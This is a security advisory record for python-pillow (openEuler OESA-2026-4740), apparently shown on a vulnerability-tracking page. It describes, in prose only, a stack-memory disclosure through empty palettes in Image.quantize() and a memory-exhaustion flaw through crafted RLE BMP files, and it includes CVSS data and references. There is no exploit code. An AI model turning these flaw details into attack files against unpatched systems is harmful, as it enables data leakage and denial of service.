"details": "Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. From 9.1.0 until 13.0.0, Pillow can disclose uninitialized stack memory when Image.quantize() uses an empty palette. ImagingPaletteCacheUpdate() leaves a local cache array uninitialized when the palette has zero entries, and the conversion path emits those bytes as output pixel indices. An attacker who controls the palette image can obtain stack contents from a returned PNG or GIF. This can disclose addresses and stack-canary data without an out-of-bounds access, memory corruption, or process crash. This issue is fixed in version 13.0.0.(CVE-2026-112898)\n\nPillow is a Python imaging library. From 9.1.0 until 13.0.0, BmpRleDecoder.decode() in src/PIL/BmpImagePlugin.py permits crafted RLE BMP delta escapes and absolute-mode runs to append beyond the remaining dest_length without a per-branch cap. A delta can add roughly 255 image rows in one iteration, so a kilobyte-sized file with a large but permitted width can expand the data bytearray to hundreds of megabytes or more, causing memory-exhaustion denial of service. This issue is fixed in version 13.0.0.(CVE-2026-96638)",
"id": "OESA-2026-4740",
"modified": "2026-11-11T12:25:42Z",
"published": "2026-11-11T12:25:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4740"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112898"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96638"
}
],
"schema_version": "1.7.2",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "python-pillow security update",
"upstream": [
"CVE-2026-112898",
"CVE-2026-96638"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.